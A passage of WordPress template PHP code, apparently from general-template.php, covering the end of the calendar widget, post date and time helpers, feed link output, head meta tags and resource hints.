1952 ORDER BY post_date ASC
1953 LIMIT 1");
1954
1955 /* translators: Calendar caption: 1: month name, 2: 4-digit year */
1956 $calendar_caption = _x('%1$s %2$s', 'calendar caption');
1957 $calendar_output = '<table id="wp-calendar">
1958 <caption>' . sprintf(
1959 $calendar_caption,
1960 $wp_locale->get_month( $thismonth ),
1961 date( 'Y', $unixmonth )
1962 ) . '</caption>
1963 <thead>
1964 <tr>';
1965
1966 $myweek = array();
1967
1968 for ( $wdcount = 0; $wdcount <= 6; $wdcount++ ) {
1969 $myweek[] = $wp_locale->get_weekday( ( $wdcount + $week_begins ) % 7 );
1970 }
1971
1972 foreach ( $myweek as $wd ) {
1973 $day_name = $initial ? $wp_locale->get_weekday_initial( $wd ) : $wp_locale->get_weekday_abbrev( $wd );
1974 $wd = esc_attr( $wd );
1975 $calendar_output .= "\n\t\t<th scope=\"col\" title=\"$wd\">$day_name</th>";
1976 }
1977
1978 $calendar_output .= '
1979 </tr>
1980 </thead>
1981
1982 <tfoot>
1983 <tr>';
1984
1985 if ( $previous ) {
1986 $calendar_output .= "\n\t\t".'<td colspan="3" id="prev"><a href="' . get_month_link( $previous->year, $previous->month ) . '">« ' .
1987 $wp_locale->get_month_abbrev( $wp_locale->get_month( $previous->month ) ) .
1988 '</a></td>';
1989 } else {
1990 $calendar_output .= "\n\t\t".'<td colspan="3" id="prev" class="pad"> </td>';
1991 }
1992
1993 $calendar_output .= "\n\t\t".'<td class="pad"> </td>';
1994
1995 if ( $next ) {
1996 $calendar_output .= "\n\t\t".'<td colspan="3" id="next"><a href="' . get_month_link( $next->year, $next->month ) . '">' .
1997 $wp_locale->get_month_abbrev( $wp_locale->get_month( $next->month ) ) .
1998 ' »</a></td>';
1999 } else {
2000 $calendar_output .= "\n\t\t".'<td colspan="3" id="next" class="pad"> </td>';
2001 }
2002
2003 $calendar_output .= '
2004 </tr>
2005 </tfoot>
2006
2007 <tbody>
2008 <tr>';
2009
2010 $daywithpost = array();
2011
2012 // Get days with posts
2013 $dayswithposts = $wpdb->get_results("SELECT DISTINCT DAYOFMONTH(post_date)
2014 FROM $wpdb->posts WHERE post_date >= '{$thisyear}-{$thismonth}-01 00:00:00'
2015 AND post_type = 'post' AND post_status = 'publish'
2016 AND post_date <= '{$thisyear}-{$thismonth}-{$last_day} 23:59:59'", ARRAY_N);
2017 if ( $dayswithposts ) {
2018 foreach ( (array) $dayswithposts as $daywith ) {
2019 $daywithpost[] = $daywith[0];
2020 }
2021 }
2022
2023 // See how much we should pad in the beginning
2024 $pad = calendar_week_mod( date( 'w', $unixmonth ) - $week_begins );
2025 if ( 0 != $pad ) {
2026 $calendar_output .= "\n\t\t".'<td colspan="'. esc_attr( $pad ) .'" class="pad"> </td>';
2027 }
2028
2029 $newrow = false;
2030 $daysinmonth = (int) date( 't', $unixmonth );
2031
2032 for ( $day = 1; $day <= $daysinmonth; ++$day ) {
2033 if ( isset($newrow) && $newrow ) {
2034 $calendar_output .= "\n\t</tr>\n\t<tr>\n\t\t";
2035 }
2036 $newrow = false;
2037
2038 if ( $day == gmdate( 'j', $ts ) &&
2039 $thismonth == gmdate( 'm', $ts ) &&
2040 $thisyear == gmdate( 'Y', $ts ) ) {
2041 $calendar_output .= '<td id="today">';
2042 } else {
2043 $calendar_output .= '<td>';
2044 }
2045
2046 if ( in_array( $day, $daywithpost ) ) {
2047 // any posts today?
2048 $date_format = date( _x( 'F j, Y', 'daily archives date format' ), strtotime( "{$thisyear}-{$thismonth}-{$day}" ) );
2049 $label = sprintf( __( 'Posts published on %s' ), $date_format );
2050 $calendar_output .= sprintf(
2051 '<a href="%s" aria-label="%s">%s</a>',
2052 get_day_link( $thisyear, $thismonth, $day ),
2053 esc_attr( $label ),
2054 $day
2055 );
2056 } else {
2057 $calendar_output .= $day;
2058 }
2059 $calendar_output .= '</td>';
2060
2061 if ( 6 == calendar_week_mod( date( 'w', mktime(0, 0 , 0, $thismonth, $day, $thisyear ) ) - $week_begins ) ) {
2062 $newrow = true;
2063 }
2064 }
2065
2066 $pad = 7 - calendar_week_mod( date( 'w', mktime( 0, 0 , 0, $thismonth, $day, $thisyear ) ) - $week_begins );
2067 if ( $pad != 0 && $pad != 7 ) {
2068 $calendar_output .= "\n\t\t".'<td class="pad" colspan="'. esc_attr( $pad ) .'"> </td>';
2069 }
2070 $calendar_output .= "\n\t</tr>\n\t</tbody>\n\t</table>";
2071
2072 $cache[ $key ] = $calendar_output;
2073 wp_cache_set( 'get_calendar', $cache, 'calendar' );
2074
2075 if ( $echo ) {
2076 /**
2077 * Filters the HTML calendar output.
2078 *
2079 * @since 3.0.0
2080 *
2081 * @param string $calendar_output HTML output of the calendar.
2082 */
2083 echo apply_filters( 'get_calendar', $calendar_output );
2084 return;
2085 }
2086 /** This filter is documented in wp-includes/general-template.php */
2087 return apply_filters( 'get_calendar', $calendar_output );
2088}
2089
2090/**
2091 * Purge the cached results of get_calendar.
2092 *
2093 * @see get_calendar
2094 * @since 2.1.0
2095 */
2096function delete_get_calendar_cache() {
2097 wp_cache_delete( 'get_calendar', 'calendar' );
2098}
2099
2100/**
2101 * Display all of the allowed tags in HTML format with attributes.
2102 *
2103 * This is useful for displaying in the comment area, which elements and
2104 * attributes are supported. As well as any plugins which want to display it.
2105 *
2106 * @since 1.0.1
2107 *
2108 * @global array $allowedtags
2109 *
2110 * @return string HTML allowed tags entity encoded.
2111 */
2112function allowed_tags() {
2113 global $allowedtags;
2114 $allowed = '';
2115 foreach ( (array) $allowedtags as $tag => $attributes ) {
2116 $allowed .= '<'.$tag;
2117 if ( 0 < count($attributes) ) {
2118 foreach ( $attributes as $attribute => $limits ) {
2119 $allowed .= ' '.$attribute.'=""';
2120 }
2121 }
2122 $allowed .= '> ';
2123 }
2124 return htmlentities( $allowed );
2125}
2126
2127/***** Date/Time tags *****/
2128
2129/**
2130 * Outputs the date in iso8601 format for xml files.
2131 *
2132 * @since 1.0.0
2133 */
2134function the_date_xml() {
2135 echo mysql2date( 'Y-m-d', get_post()->post_date, false );
2136}
2137
2138/**
2139 * Display or Retrieve the date the current post was written (once per date)
2140 *
2141 * Will only output the date if the current post's date is different from the
2142 * previous one output.
2143 *
2144 * i.e. Only one date listing will show per day worth of posts shown in the loop, even if the
2145 * function is called several times for each post.
2146 *
2147 * HTML output can be filtered with 'the_date'.
2148 * Date string output can be filtered with 'get_the_date'.
2149 *
2150 * @since 0.71
2151 *
2152 * @global string|int|bool $currentday
2153 * @global string|int|bool $previousday
2154 *
2155 * @param string $d Optional. PHP date format defaults to the date_format option if not specified.
2156 * @param string $before Optional. Output before the date.
2157 * @param string $after Optional. Output after the date.
2158 * @param bool $echo Optional, default is display. Whether to echo the date or return it.
2159 * @return string|void String if retrieving.
2160 */
2161function the_date( $d = '', $before = '', $after = '', $echo = true ) {
2162 global $currentday, $previousday;
2163
2164 if ( is_new_day() ) {
2165 $the_date = $before . get_the_date( $d ) . $after;
2166 $previousday = $currentday;
2167
2168 /**
2169 * Filters the date a post was published for display.
2170 *
2171 * @since 0.71
2172 *
2173 * @param string $the_date The formatted date string.
2174 * @param string $d PHP date format. Defaults to 'date_format' option
2175 * if not specified.
2176 * @param string $before HTML output before the date.
2177 * @param string $after HTML output after the date.
2178 */
2179 $the_date = apply_filters( 'the_date', $the_date, $d, $before, $after );
2180
2181 if ( $echo )
2182 echo $the_date;
2183 else
2184 return $the_date;
2185 }
2186}
2187
2188/**
2189 * Retrieve the date on which the post was written.
2190 *
2191 * Unlike the_date() this function will always return the date.
2192 * Modify output with the {@see 'get_the_date'} filter.
2193 *
2194 * @since 3.0.0
2195 *
2196 * @param string $d Optional. PHP date format defaults to the date_format option if not specified.
2197 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default current post.
2198 * @return false|string Date the current post was written. False on failure.
2199 */
2200function get_the_date( $d = '', $post = null ) {
2201 $post = get_post( $post );
2202
2203 if ( ! $post ) {
2204 return false;
2205 }
2206
2207 if ( '' == $d ) {
2208 $the_date = mysql2date( get_option( 'date_format' ), $post->post_date );
2209 } else {
2210 $the_date = mysql2date( $d, $post->post_date );
2211 }
2212
2213 /**
2214 * Filters the date a post was published.
2215 *
2216 * @since 3.0.0
2217 *
2218 * @param string $the_date The formatted date.
2219 * @param string $d PHP date format. Defaults to 'date_format' option
2220 * if not specified.
2221 * @param int|WP_Post $post The post object or ID.
2222 */
2223 return apply_filters( 'get_the_date', $the_date, $d, $post );
2224}
2225
2226/**
2227 * Display the date on which the post was last modified.
2228 *
2229 * @since 2.1.0
2230 *
2231 * @param string $d Optional. PHP date format defaults to the date_format option if not specified.
2232 * @param string $before Optional. Output before the date.
2233 * @param string $after Optional. Output after the date.
2234 * @param bool $echo Optional, default is display. Whether to echo the date or return it.
2235 * @return string|void String if retrieving.
2236 */
2237function the_modified_date( $d = '', $before = '', $after = '', $echo = true ) {
2238 $the_modified_date = $before . get_the_modified_date($d) . $after;
2239
2240 /**
2241 * Filters the date a post was last modified for display.
2242 *
2243 * @since 2.1.0
2244 *
2245 * @param string $the_modified_date The last modified date.
2246 * @param string $d PHP date format. Defaults to 'date_format' option
2247 * if not specified.
2248 * @param string $before HTML output before the date.
2249 * @param string $after HTML output after the date.
2250 */
2251 $the_modified_date = apply_filters( 'the_modified_date', $the_modified_date, $d, $before, $after );
2252
2253 if ( $echo )
2254 echo $the_modified_date;
2255 else
2256 return $the_modified_date;
2257
2258}
2259
2260/**
2261 * Retrieve the date on which the post was last modified.
2262 *
2263 * @since 2.1.0
2264 * @since 4.6.0 Added the `$post` parameter.
2265 *
2266 * @param string $d Optional. PHP date format defaults to the date_format option if not specified.
2267 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default current post.
2268 * @return false|string Date the current post was modified. False on failure.
2269 */
2270function get_the_modified_date( $d = '', $post = null ) {
2271 $post = get_post( $post );
2272
2273 if ( ! $post ) {
2274 // For backward compatibility, failures go through the filter below.
2275 $the_time = false;
2276 } elseif ( empty( $d ) ) {
2277 $the_time = get_post_modified_time( get_option( 'date_format' ), false, $post, true );
2278 } else {
2279 $the_time = get_post_modified_time( $d, false, $post, true );
2280 }
2281
2282 /**
2283 * Filters the date a post was last modified.
2284 *
2285 * @since 2.1.0
2286 * @since 4.6.0 Added the `$post` parameter.
2287 *
2288 * @param string $the_time The formatted date.
2289 * @param string $d PHP date format. Defaults to value specified in
2290 * 'date_format' option.
2291 * @param WP_Post $post WP_Post object.
2292 */
2293 return apply_filters( 'get_the_modified_date', $the_time, $d, $post );
2294}
2295
2296/**
2297 * Display the time at which the post was written.
2298 *
2299 * @since 0.71
2300 *
2301 * @param string $d Either 'G', 'U', or php date format.
2302 */
2303function the_time( $d = '' ) {
2304 /**
2305 * Filters the time a post was written for display.
2306 *
2307 * @since 0.71
2308 *
2309 * @param string $get_the_time The formatted time.
2310 * @param string $d The time format. Accepts 'G', 'U',
2311 * or php date format.
2312 */
2313 echo apply_filters( 'the_time', get_the_time( $d ), $d );
2314}
2315
2316/**
2317 * Retrieve the time at which the post was written.
2318 *
2319 * @since 1.5.0
2320 *
2321 * @param string $d Optional. Format to use for retrieving the time the post
2322 * was written. Either 'G', 'U', or php date format defaults
2323 * to the value specified in the time_format option. Default empty.
2324 * @param int|WP_Post $post WP_Post object or ID. Default is global $post object.
2325 * @return string|int|false Formatted date string or Unix timestamp if `$id` is 'U' or 'G'. False on failure.
2326 */
2327function get_the_time( $d = '', $post = null ) {
2328 $post = get_post($post);
2329
2330 if ( ! $post ) {
2331 return false;
2332 }
2333
2334 if ( '' == $d )
2335 $the_time = get_post_time(get_option('time_format'), false, $post, true);
2336 else
2337 $the_time = get_post_time($d, false, $post, true);
2338
2339 /**
2340 * Filters the time a post was written.
2341 *
2342 * @since 1.5.0
2343 *
2344 * @param string $the_time The formatted time.
2345 * @param string $d Format to use for retrieving the time the post was written.
2346 * Accepts 'G', 'U', or php date format value specified
2347 * in 'time_format' option. Default empty.
2348 * @param int|WP_Post $post WP_Post object or ID.
2349 */
2350 return apply_filters( 'get_the_time', $the_time, $d, $post );
2351}
2352
2353/**
2354 * Retrieve the time at which the post was written.
2355 *
2356 * @since 2.0.0
2357 *
2358 * @param string $d Optional. Format to use for retrieving the time the post
2359 * was written. Either 'G', 'U', or php date format. Default 'U'.
2360 * @param bool $gmt Optional. Whether to retrieve the GMT time. Default false.
2361 * @param int|WP_Post $post WP_Post object or ID. Default is global $post object.
2362 * @param bool $translate Whether to translate the time string. Default false.
2363 * @return string|int|false Formatted date string or Unix timestamp if `$id` is 'U' or 'G'. False on failure.
2364 */
2365function get_post_time( $d = 'U', $gmt = false, $post = null, $translate = false ) {
2366 $post = get_post($post);
2367
2368 if ( ! $post ) {
2369 return false;
2370 }
2371
2372 if ( $gmt )
2373 $time = $post->post_date_gmt;
2374 else
2375 $time = $post->post_date;
2376
2377 $time = mysql2date($d, $time, $translate);
2378
2379 /**
2380 * Filters the localized time a post was written.
2381 *
2382 * @since 2.6.0
2383 *
2384 * @param string $time The formatted time.
2385 * @param string $d Format to use for retrieving the time the post was written.
2386 * Accepts 'G', 'U', or php date format. Default 'U'.
2387 * @param bool $gmt Whether to retrieve the GMT time. Default false.
2388 */
2389 return apply_filters( 'get_post_time', $time, $d, $gmt );
2390}
2391
2392/**
2393 * Display the time at which the post was last modified.
2394 *
2395 * @since 2.0.0
2396 *
2397 * @param string $d Optional Either 'G', 'U', or php date format defaults to the value specified in the time_format option.
2398 */
2399function the_modified_time($d = '') {
2400 /**
2401 * Filters the localized time a post was last modified, for display.
2402 *
2403 * @since 2.0.0
2404 *
2405 * @param string $get_the_modified_time The formatted time.
2406 * @param string $d The time format. Accepts 'G', 'U',
2407 * or php date format. Defaults to value
2408 * specified in 'time_format' option.
2409 */
2410 echo apply_filters( 'the_modified_time', get_the_modified_time($d), $d );
2411}
2412
2413/**
2414 * Retrieve the time at which the post was last modified.
2415 *
2416 * @since 2.0.0
2417 * @since 4.6.0 Added the `$post` parameter.
2418 *
2419 * @param string $d Optional. Format to use for retrieving the time the post
2420 * was modified. Either 'G', 'U', or php date format defaults
2421 * to the value specified in the time_format option. Default empty.
2422 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default current post.
2423 * @return false|string Formatted date string or Unix timestamp. False on failure.
2424 */
2425function get_the_modified_time( $d = '', $post = null ) {
2426 $post = get_post( $post );
2427
2428 if ( ! $post ) {
2429 // For backward compatibility, failures go through the filter below.
2430 $the_time = false;
2431 } elseif ( empty( $d ) ) {
2432 $the_time = get_post_modified_time( get_option( 'time_format' ), false, $post, true );
2433 } else {
2434 $the_time = get_post_modified_time( $d, false, $post, true );
2435 }
2436
2437 /**
2438 * Filters the localized time a post was last modified.
2439 *
2440 * @since 2.0.0
2441 * @since 4.6.0 Added the `$post` parameter.
2442 *
2443 * @param string $the_time The formatted time.
2444 * @param string $d Format to use for retrieving the time the post was
2445 * written. Accepts 'G', 'U', or php date format. Defaults
2446 * to value specified in 'time_format' option.
2447 * @param WP_Post $post WP_Post object.
2448 */
2449 return apply_filters( 'get_the_modified_time', $the_time, $d, $post );
2450}
2451
2452/**
2453 * Retrieve the time at which the post was last modified.
2454 *
2455 * @since 2.0.0
2456 *
2457 * @param string $d Optional. Format to use for retrieving the time the post
2458 * was modified. Either 'G', 'U', or php date format. Default 'U'.
2459 * @param bool $gmt Optional. Whether to retrieve the GMT time. Default false.
2460 * @param int|WP_Post $post WP_Post object or ID. Default is global $post object.
2461 * @param bool $translate Whether to translate the time string. Default false.
2462 * @return string|int|false Formatted date string or Unix timestamp if `$id` is 'U' or 'G'. False on failure.
2463 */
2464function get_post_modified_time( $d = 'U', $gmt = false, $post = null, $translate = false ) {
2465 $post = get_post($post);
2466
2467 if ( ! $post ) {
2468 return false;
2469 }
2470
2471 if ( $gmt )
2472 $time = $post->post_modified_gmt;
2473 else
2474 $time = $post->post_modified;
2475 $time = mysql2date($d, $time, $translate);
2476
2477 /**
2478 * Filters the localized time a post was last modified.
2479 *
2480 * @since 2.8.0
2481 *
2482 * @param string $time The formatted time.
2483 * @param string $d The date format. Accepts 'G', 'U', or php date format. Default 'U'.
2484 * @param bool $gmt Whether to return the GMT time. Default false.
2485 */
2486 return apply_filters( 'get_post_modified_time', $time, $d, $gmt );
2487}
2488
2489/**
2490 * Display the weekday on which the post was written.
2491 *
2492 * @since 0.71
2493 *
2494 * @global WP_Locale $wp_locale
2495 */
2496function the_weekday() {
2497 global $wp_locale;
2498 $the_weekday = $wp_locale->get_weekday( mysql2date( 'w', get_post()->post_date, false ) );
2499
2500 /**
2501 * Filters the weekday on which the post was written, for display.
2502 *
2503 * @since 0.71
2504 *
2505 * @param string $the_weekday
2506 */
2507 echo apply_filters( 'the_weekday', $the_weekday );
2508}
2509
2510/**
2511 * Display the weekday on which the post was written.
2512 *
2513 * Will only output the weekday if the current post's weekday is different from
2514 * the previous one output.
2515 *
2516 * @since 0.71
2517 *
2518 * @global WP_Locale $wp_locale
2519 * @global string|int|bool $currentday
2520 * @global string|int|bool $previousweekday
2521 *
2522 * @param string $before Optional Output before the date.
2523 * @param string $after Optional Output after the date.
2524 */
2525function the_weekday_date($before='',$after='') {
2526 global $wp_locale, $currentday, $previousweekday;
2527 $the_weekday_date = '';
2528 if ( $currentday != $previousweekday ) {
2529 $the_weekday_date .= $before;
2530 $the_weekday_date .= $wp_locale->get_weekday( mysql2date( 'w', get_post()->post_date, false ) );
2531 $the_weekday_date .= $after;
2532 $previousweekday = $currentday;
2533 }
2534
2535 /**
2536 * Filters the localized date on which the post was written, for display.
2537 *
2538 * @since 0.71
2539 *
2540 * @param string $the_weekday_date
2541 * @param string $before The HTML to output before the date.
2542 * @param string $after The HTML to output after the date.
2543 */
2544 $the_weekday_date = apply_filters( 'the_weekday_date', $the_weekday_date, $before, $after );
2545 echo $the_weekday_date;
2546}
2547
2548/**
2549 * Fire the wp_head action.
2550 *
2551 * See {@see 'wp_head'}.
2552 *
2553 * @since 1.2.0
2554 */
2555function wp_head() {
2556 /**
2557 * Prints scripts or data in the head tag on the front end.
2558 *
2559 * @since 1.5.0
2560 */
2561 do_action( 'wp_head' );
2562}
2563
2564/**
2565 * Fire the wp_footer action.
2566 *
2567 * See {@see 'wp_footer'}.
2568 *
2569 * @since 1.5.1
2570 */
2571function wp_footer() {
2572 /**
2573 * Prints scripts or data before the closing body tag on the front end.
2574 *
2575 * @since 1.5.1
2576 */
2577 do_action( 'wp_footer' );
2578}
2579
2580/**
2581 * Display the links to the general feeds.
2582 *
2583 * @since 2.8.0
2584 *
2585 * @param array $args Optional arguments.
2586 */
2587function feed_links( $args = array() ) {
2588 if ( !current_theme_supports('automatic-feed-links') )
2589 return;
2590
2591 $defaults = array(
2592 /* translators: Separator between blog name and feed type in feed links */
2593 'separator' => _x('»', 'feed link'),
2594 /* translators: 1: blog title, 2: separator (raquo) */
2595 'feedtitle' => __('%1$s %2$s Feed'),
2596 /* translators: 1: blog title, 2: separator (raquo) */
2597 'comstitle' => __('%1$s %2$s Comments Feed'),
2598 );
2599
2600 $args = wp_parse_args( $args, $defaults );
2601
2602 /**
2603 * Filters whether to display the posts feed link.
2604 *
2605 * @since 4.4.0
2606 *
2607 * @param bool $show Whether to display the posts feed link. Default true.
2608 */
2609 if ( apply_filters( 'feed_links_show_posts_feed', true ) ) {
2610 echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr( sprintf( $args['feedtitle'], get_bloginfo( 'name' ), $args['separator'] ) ) . '" href="' . esc_url( get_feed_link() ) . "\" />\n";
2611 }
2612
2613 /**
2614 * Filters whether to display the comments feed link.
2615 *
2616 * @since 4.4.0
2617 *
2618 * @param bool $show Whether to display the comments feed link. Default true.
2619 */
2620 if ( apply_filters( 'feed_links_show_comments_feed', true ) ) {
2621 echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr( sprintf( $args['comstitle'], get_bloginfo( 'name' ), $args['separator'] ) ) . '" href="' . esc_url( get_feed_link( 'comments_' . get_default_feed() ) ) . "\" />\n";
2622 }
2623}
2624
2625/**
2626 * Display the links to the extra feeds such as category feeds.
2627 *
2628 * @since 2.8.0
2629 *
2630 * @param array $args Optional arguments.
2631 */
2632function feed_links_extra( $args = array() ) {
2633 $defaults = array(
2634 /* translators: Separator between blog name and feed type in feed links */
2635 'separator' => _x('»', 'feed link'),
2636 /* translators: 1: blog name, 2: separator(raquo), 3: post title */
2637 'singletitle' => __('%1$s %2$s %3$s Comments Feed'),
2638 /* translators: 1: blog name, 2: separator(raquo), 3: category name */
2639 'cattitle' => __('%1$s %2$s %3$s Category Feed'),
2640 /* translators: 1: blog name, 2: separator(raquo), 3: tag name */
2641 'tagtitle' => __('%1$s %2$s %3$s Tag Feed'),
2642 /* translators: 1: blog name, 2: separator(raquo), 3: term name, 4: taxonomy singular name */
2643 'taxtitle' => __('%1$s %2$s %3$s %4$s Feed'),
2644 /* translators: 1: blog name, 2: separator(raquo), 3: author name */
2645 'authortitle' => __('%1$s %2$s Posts by %3$s Feed'),
2646 /* translators: 1: blog name, 2: separator(raquo), 3: search phrase */
2647 'searchtitle' => __('%1$s %2$s Search Results for “%3$s” Feed'),
2648 /* translators: 1: blog name, 2: separator(raquo), 3: post type name */
2649 'posttypetitle' => __('%1$s %2$s %3$s Feed'),
2650 );
2651
2652 $args = wp_parse_args( $args, $defaults );
2653
2654 if ( is_singular() ) {
2655 $id = 0;
2656 $post = get_post( $id );
2657
2658 if ( comments_open() || pings_open() || $post->comment_count > 0 ) {
2659 $title = sprintf( $args['singletitle'], get_bloginfo('name'), $args['separator'], the_title_attribute( array( 'echo' => false ) ) );
2660 $href = get_post_comments_feed_link( $post->ID );
2661 }
2662 } elseif ( is_post_type_archive() ) {
2663 $post_type = get_query_var( 'post_type' );
2664 if ( is_array( $post_type ) )
2665 $post_type = reset( $post_type );
2666
2667 $post_type_obj = get_post_type_object( $post_type );
2668 $title = sprintf( $args['posttypetitle'], get_bloginfo( 'name' ), $args['separator'], $post_type_obj->labels->name );
2669 $href = get_post_type_archive_feed_link( $post_type_obj->name );
2670 } elseif ( is_category() ) {
2671 $term = get_queried_object();
2672
2673 if ( $term ) {
2674 $title = sprintf( $args['cattitle'], get_bloginfo('name'), $args['separator'], $term->name );
2675 $href = get_category_feed_link( $term->term_id );
2676 }
2677 } elseif ( is_tag() ) {
2678 $term = get_queried_object();
2679
2680 if ( $term ) {
2681 $title = sprintf( $args['tagtitle'], get_bloginfo('name'), $args['separator'], $term->name );
2682 $href = get_tag_feed_link( $term->term_id );
2683 }
2684 } elseif ( is_tax() ) {
2685 $term = get_queried_object();
2686 $tax = get_taxonomy( $term->taxonomy );
2687 $title = sprintf( $args['taxtitle'], get_bloginfo('name'), $args['separator'], $term->name, $tax->labels->singular_name );
2688 $href = get_term_feed_link( $term->term_id, $term->taxonomy );
2689 } elseif ( is_author() ) {
2690 $author_id = intval( get_query_var('author') );
2691
2692 $title = sprintf( $args['authortitle'], get_bloginfo('name'), $args['separator'], get_the_author_meta( 'display_name', $author_id ) );
2693 $href = get_author_feed_link( $author_id );
2694 } elseif ( is_search() ) {
2695 $title = sprintf( $args['searchtitle'], get_bloginfo('name'), $args['separator'], get_search_query( false ) );
2696 $href = get_search_feed_link();
2697 } elseif ( is_post_type_archive() ) {
2698 $title = sprintf( $args['posttypetitle'], get_bloginfo('name'), $args['separator'], post_type_archive_title( '', false ) );
2699 $post_type_obj = get_queried_object();
2700 if ( $post_type_obj )
2701 $href = get_post_type_archive_feed_link( $post_type_obj->name );
2702 }
2703
2704 if ( isset($title) && isset($href) )
2705 echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr( $title ) . '" href="' . esc_url( $href ) . '" />' . "\n";
2706}
2707
2708/**
2709 * Display the link to the Really Simple Discovery service endpoint.
2710 *
2711 * @link http://archipelago.phrasewise.com/rsd
2712 * @since 2.0.0
2713 */
2714function rsd_link() {
2715 echo '<link rel="EditURI" type="application/rsd+xml" title="RSD" href="' . esc_url( site_url( 'xmlrpc.php?rsd', 'rpc' ) ) . '" />' . "\n";
2716}
2717
2718/**
2719 * Display the link to the Windows Live Writer manifest file.
2720 *
2721 * @link https://msdn.microsoft.com/en-us/library/bb463265.aspx
2722 * @since 2.3.1
2723 */
2724function wlwmanifest_link() {
2725 echo '<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="',
2726 includes_url( 'wlwmanifest.xml' ), '" /> ', "\n";
2727}
2728
2729/**
2730 * Displays a noindex meta tag if required by the blog configuration.
2731 *
2732 * If a blog is marked as not being public then the noindex meta tag will be
2733 * output to tell web robots not to index the page content. Add this to the
2734 * {@see 'wp_head'} action.
2735 *
2736 * Typical usage is as a {@see 'wp_head'} callback:
2737 *
2738 * add_action( 'wp_head', 'noindex' );
2739 *
2740 * @see wp_no_robots
2741 *
2742 * @since 2.1.0
2743 */
2744function noindex() {
2745 // If the blog is not public, tell robots to go away.
2746 if ( '0' == get_option('blog_public') )
2747 wp_no_robots();
2748}
2749
2750/**
2751 * Display a noindex meta tag.
2752 *
2753 * Outputs a noindex meta tag that tells web robots not to index the page content.
2754 * Typical usage is as a wp_head callback. add_action( 'wp_head', 'wp_no_robots' );
2755 *
2756 * @since 3.3.0
2757 */
2758function wp_no_robots() {
2759 echo "<meta name='robots' content='noindex,follow' />\n";
2760}
2761
2762/**
2763 * Display site icon meta tags.
2764 *
2765 * @since 4.3.0
2766 *
2767 * @link https://www.whatwg.org/specs/web-apps/current-work/multipage/links.html#rel-icon HTML5 specification link icon.
2768 */
2769function wp_site_icon() {
2770 if ( ! has_site_icon() && ! is_customize_preview() ) {
2771 return;
2772 }
2773
2774 $meta_tags = array(
2775 sprintf( '<link rel="icon" href="%s" sizes="32x32" />', esc_url( get_site_icon_url( 32 ) ) ),
2776 sprintf( '<link rel="icon" href="%s" sizes="192x192" />', esc_url( get_site_icon_url( 192 ) ) ),
2777 sprintf( '<link rel="apple-touch-icon-precomposed" href="%s" />', esc_url( get_site_icon_url( 180 ) ) ),
2778 sprintf( '<meta name="msapplication-TileImage" content="%s" />', esc_url( get_site_icon_url( 270 ) ) ),
2779 );
2780
2781 /**
2782 * Filters the site icon meta tags, so Plugins can add their own.
2783 *
2784 * @since 4.3.0
2785 *
2786 * @param array $meta_tags Site Icon meta elements.
2787 */
2788 $meta_tags = apply_filters( 'site_icon_meta_tags', $meta_tags );
2789 $meta_tags = array_filter( $meta_tags );
2790
2791 foreach ( $meta_tags as $meta_tag ) {
2792 echo "$meta_tag\n";
2793 }
2794}
2795
2796/**
2797 * Prints resource hints to browsers for pre-fetching, pre-rendering
2798 * and pre-connecting to web sites.
2799 *
2800 * Gives hints to browsers to prefetch specific pages or render them
2801 * in the background, to perform DNS lookups or to begin the connection
2802 * handshake (DNS, TCP, TLS) in the background.
2803 *
2804 * These performance improving indicators work by using `<link rel"…">`.
2805 *
2806 * @since 4.6.0
2807 */
2808function wp_resource_hints() {
2809 $hints = array(
2810 'dns-prefetch' => wp_dependencies_unique_hosts(),
2811 'preconnect' => array(),
2812 'prefetch' => array(),
2813 'prerender' => array(),
2814 );
2815
2816 /*
2817 * Add DNS prefetch for the Emoji CDN.
2818 * The path is removed in the foreach loop below.
2819 */
2820 /** This filter is documented in wp-includes/formatting.php */
2821 $hints['dns-prefetch'][] = apply_filters( 'emoji_svg_url', 'https://s.w.org/images/core/emoji/2/svg/' );
2822
2823 foreach ( $hints as $relation_type => $urls ) {
2824 /**
2825 * Filters domains and URLs for resource hints of relation type.
2826 *
2827 * @since 4.6.0
2828 *
2829 * @param array $urls URLs to print for resource hints.
2830 * @param string $relation_type The relation type the URLs are printed for, e.g. 'preconnect' or 'prerender'.
2831 */
2832 $urls = apply_filters( 'wp_resource_hints', $urls, $relation_type );
2833
2834 foreach ( $urls as $key => $url ) {
2835 $url = esc_url( $url, array( 'http', 'https' ) );
2836 if ( ! $url ) {
2837 unset( $urls[ $key ] );
2838 continue;
2839 }
2840
2841 if ( in_array( $relation_type, array( 'preconnect', 'dns-prefetch' ) ) ) {
2842 $parsed = wp_parse_url( $url );
2843 if ( empty( $parsed['host'] ) ) {
2844 unset( $urls[ $key ] );
2845 continue;
2846 }
2847
2848 if ( 'preconnect' === $relation_type && ! empty( $parsed['scheme'] ) ) {
2849 $url = $parsed['scheme'] . '://' . $parsed['host'];
2850 } else {
2851 // Use protocol-relative URLs for dns-prefetch or if scheme is missing.
2852 $url = '//' . $parsed['host'];
2853 }
2854 }
2855
2856 $urls[ $key ] = $url;
2857 }
2858
2859 $urls = array_unique( $urls );
2860
2861 foreach ( $urls as $url ) {
2862 printf( "<link rel='%s' href='%s' />\n", $relation_type, $url );
2863 }
2864 }
2865}
2866
2867/**
2868 * Retrieves a list of unique hosts of all enqueued scripts and styles.
2869 *
2870 * @since 4.6.0
2871 *
2872 * @return array A list of unique hosts of enqueued scripts and styles.
2873 */
2874function wp_dependencies_unique_hosts() {
2875 global $wp_scripts, $wp_styles;
2876
2877 $unique_hosts = array();
2878
2879 foreach ( array( $wp_scripts, $wp_styles ) as $dependencies ) {
2880 if ( $dependencies instanceof WP_Dependencies && ! empty( $dependencies->queue ) ) {
2881 foreach ( $dependencies->queue as $handle ) {
2882 if ( ! isset( $dependencies->registered[ $handle ] ) ) {
2883 continue;
2884 }
2885
2886 /* @var _WP_Dependency $dependency */
2887 $dependency = $dependencies->registered[ $handle ];
2888 $parsed = wp_parse_url( $dependency->src );
2889
2890 if ( ! empty( $parsed['host'] ) && ! in_array( $parsed['host'], $unique_hosts ) && $parsed['host'] !== $_SERVER['SERVER_NAME'] ) {
2891 $unique_hosts[] = $parsed['host'];
2892 }
2893 }
2894 }
2895 }
2896
2897 return $unique_hosts;
2898}
2899
2900/**
